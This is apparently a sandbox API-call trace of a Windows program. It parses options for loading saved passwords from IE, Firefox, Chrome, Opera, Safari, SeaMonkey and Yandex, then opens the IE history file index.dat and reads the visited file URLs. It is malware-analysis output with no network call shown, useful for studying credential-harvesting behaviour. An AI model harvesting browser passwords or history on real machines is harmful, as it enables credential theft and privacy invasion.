[0079.208] _wcsicmp (_String1="/SaveFilterIndex", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="ShowInfoTip" | out: _Dest="/ShowInfoTip") returned="/ShowInfoTip"
[0079.208] _wcsicmp (_String1="/ShowInfoTip", _String2="/scomma") returned 5
[0079.208] _wcsicmp (_String1="/ShowInfoTip", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="MarkOddEvenRows" | out: _Dest="/MarkOddEvenRows") returned="/MarkOddEvenRows"
[0079.208] _wcsicmp (_String1="/MarkOddEvenRows", _String2="/scomma") returned -6
[0079.208] _wcsicmp (_String1="/MarkOddEvenRows", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="ShowTimeInGMT" | out: _Dest="/ShowTimeInGMT") returned="/ShowTimeInGMT"
[0079.208] _wcsicmp (_String1="/ShowTimeInGMT", _String2="/scomma") returned 5
[0079.208] _wcsicmp (_String1="/ShowTimeInGMT", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsIE" | out: _Dest="/LoadPasswordsIE") returned="/LoadPasswordsIE"
[0079.208] _wcsicmp (_String1="/LoadPasswordsIE", _String2="/scomma") returned -7
[0079.208] _wcsicmp (_String1="/LoadPasswordsIE", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsFirefox" | out: _Dest="/LoadPasswordsFirefox") returned="/LoadPasswordsFirefox"
[0079.208] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="/scomma") returned -7
[0079.208] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsChrome" | out: _Dest="/LoadPasswordsChrome") returned="/LoadPasswordsChrome"
[0079.208] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="/scomma") returned -7
[0079.208] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsOpera" | out: _Dest="/LoadPasswordsOpera") returned="/LoadPasswordsOpera"
[0079.209] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="/scomma") returned -7
[0079.209] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsSafari" | out: _Dest="/LoadPasswordsSafari") returned="/LoadPasswordsSafari"
[0079.209] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="/scomma") returned -7
[0079.209] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsSeaMonkey" | out: _Dest="/LoadPasswordsSeaMonkey") returned="/LoadPasswordsSeaMonkey"
[0079.209] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="/scomma") returned -7
[0079.209] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="LoadPasswordsYandex" | out: _Dest="/LoadPasswordsYandex") returned="/LoadPasswordsYandex"
[0079.209] _wcsicmp (_String1="/LoadPasswordsYandex", _String2="/scomma") returned -7
[0079.209] _wcsicmp (_String1="/LoadPasswordsYandex", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="UseFirefoxProfileFolder" | out: _Dest="/UseFirefoxProfileFolder") returned="/UseFirefoxProfileFolder"
[0079.209] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="/scomma") returned 2
[0079.209] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="UseFirefoxInstallFolder" | out: _Dest="/UseFirefoxInstallFolder") returned="/UseFirefoxInstallFolder"
[0079.209] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="/scomma") returned 2
[0079.209] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="UseChromeProfileFolder" | out: _Dest="/UseChromeProfileFolder") returned="/UseChromeProfileFolder"
[0079.209] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="/scomma") returned 2
[0079.209] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.209] wcscat (in: _Dest=0x12f568, _Source="UseOperaPasswordFile" | out: _Dest="/UseOperaPasswordFile") returned="/UseOperaPasswordFile"
[0079.209] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="/scomma") returned 2
[0079.210] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] wcscat (in: _Dest=0x12f564, _Source="FirefoxProfileFolder" | out: _Dest="/FirefoxProfileFolder") returned="/FirefoxProfileFolder"
[0079.210] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="/scomma") returned -13
[0079.210] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] wcscat (in: _Dest=0x12f564, _Source="FirefoxInstallFolder" | out: _Dest="/FirefoxInstallFolder") returned="/FirefoxInstallFolder"
[0079.210] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="/scomma") returned -13
[0079.210] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] wcscat (in: _Dest=0x12f564, _Source="ChromeProfileFolder" | out: _Dest="/ChromeProfileFolder") returned="/ChromeProfileFolder"
[0079.210] _wcsicmp (_String1="/ChromeProfileFolder", _String2="/scomma") returned -16
[0079.210] _wcsicmp (_String1="/ChromeProfileFolder", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] wcscat (in: _Dest=0x12f564, _Source="OperaPasswordFile" | out: _Dest="/OperaPasswordFile") returned="/OperaPasswordFile"
[0079.210] _wcsicmp (_String1="/OperaPasswordFile", _String2="/scomma") returned -4
[0079.210] _wcsicmp (_String1="/OperaPasswordFile", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] wcscat (in: _Dest=0x12f568, _Source="SaveFileEncoeding" | out: _Dest="/SaveFileEncoeding") returned="/SaveFileEncoeding"
[0079.210] _wcsicmp (_String1="/SaveFileEncoeding", _String2="/scomma") returned -2
[0079.210] _wcsicmp (_String1="/SaveFileEncoeding", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] _wcsicmp (_String1="/sort", _String2="/scomma") returned 12
[0079.210] _wcsicmp (_String1="/sort", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.210] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
[0079.210] SetCursor (hCursor=0x10007) returned 0x10007
[0079.211] GetVersionExW (in: lpVersionInformation=0x452e08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x452e08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0079.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12aa88, csidl=34, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 1
[0079.227] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.227] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.227] wcslen (_String="*.*") returned 0x3
[0079.227] wcscpy (in: _Dest=0x12a084, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.227] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.227] wcscat (in: _Dest=0x12a084, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.227] wcscat (in: _Dest=0x12a084, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\*.*"
[0079.227] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 0x1aea28
[0079.227] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.227] wcslen (_String=".") returned 0x1
[0079.227] wcscpy (in: _Dest=0x12a55c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.230] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.230] wcscat (in: _Dest=0x12a55c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.230] wcscat (in: _Dest=0x12a55c, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\."
[0079.230] wcscmp (_String1=".", _String2="..") returned -1
[0079.230] wcscmp (_String1=".", _String2=".") returned 0
[0079.230] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.230] FindNextFileW (in: hFindFile=0x1aea28, lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 1
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcslen (_String="..") returned 0x2
[0079.231] wcscpy (in: _Dest=0x12a55c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcscat (in: _Dest=0x12a55c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.231] wcscat (in: _Dest=0x12a55c, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\.."
[0079.231] wcscmp (_String1="..", _String2="..") returned 0
[0079.231] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.231] FindNextFileW (in: hFindFile=0x1aea28, lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 1
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcslen (_String="desktop.ini") returned 0xb
[0079.231] wcscpy (in: _Dest=0x12a55c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcscat (in: _Dest=0x12a55c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.231] wcscat (in: _Dest=0x12a55c, _Source="desktop.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini"
[0079.231] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
[0079.231] FindNextFileW (in: hFindFile=0x1aea28, lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 1
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcslen (_String="History.IE5") returned 0xb
[0079.231] wcscpy (in: _Dest=0x12a55c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.231] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.231] wcscat (in: _Dest=0x12a55c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.231] wcscat (in: _Dest=0x12a55c, _Source="History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.232] wcscmp (_String1="History.IE5", _String2="..") returned 1
[0079.232] wcscmp (_String1="History.IE5", _String2=".") returned 1
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcslen (_String="*.*") returned 0x3
[0079.232] wcscpy (in: _Dest=0x129688, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcscat (in: _Dest=0x129688, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.232] wcscat (in: _Dest=0x129688, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*"
[0079.232] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 0x1aea68
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcslen (_String=".") returned 0x1
[0079.232] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.232] wcscat (in: _Dest=0x129b60, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\."
[0079.232] wcscmp (_String1=".", _String2="..") returned -1
[0079.232] wcscmp (_String1=".", _String2=".") returned 0
[0079.232] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.232] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.232] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.232] wcslen (_String="..") returned 0x2
[0079.233] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.233] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.233] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.233] wcscat (in: _Dest=0x129b60, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.."
[0079.233] wcscmp (_String1="..", _String2="..") returned 0
[0079.233] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.233] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.233] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.233] wcslen (_String="desktop.ini") returned 0xb
[0079.233] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.233] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.233] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.233] wcscat (in: _Dest=0x129b60, _Source="desktop.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini"
[0079.233] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
[0079.233] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.233] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.233] wcslen (_String="index.dat") returned 0x9
[0079.233] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.233] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.233] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.233] wcscat (in: _Dest=0x129b60, _Source="index.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat"
[0079.233] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
[0079.233] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c
[0079.233] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0079.234] ReadFile (in: hFile=0x9c, lpBuffer=0x1295e0, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1232a8, lpOverlapped=0x0 | out: lpBuffer=0x1295e0*, lpNumberOfBytesRead=0x1232a8*=0x20, lpOverlapped=0x0) returned 1
[0079.234] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000
[0079.235] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.235] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.235] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.235] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.235] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.235] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/F-PlN0i.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots"
[0079.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 56
[0079.235] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 0x37
[0079.235] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.235] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.235] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.235] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.236] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.236] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/12mW6YtVWOd4.docx" | out: _Str="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx"
[0079.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 54
[0079.236] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.236] wcslen (_String="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 0x35
[0079.236] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.236] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.236] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.236] SetFilePointer (in: hFile=0x9c, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.236] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.236] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/E1c36Poz%20yfNM5.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv"
[0079.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 56
[0079.236] wcscmp (_String1="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.236] wcscmp (_String1="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.236] wcslen (_String="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 0x37
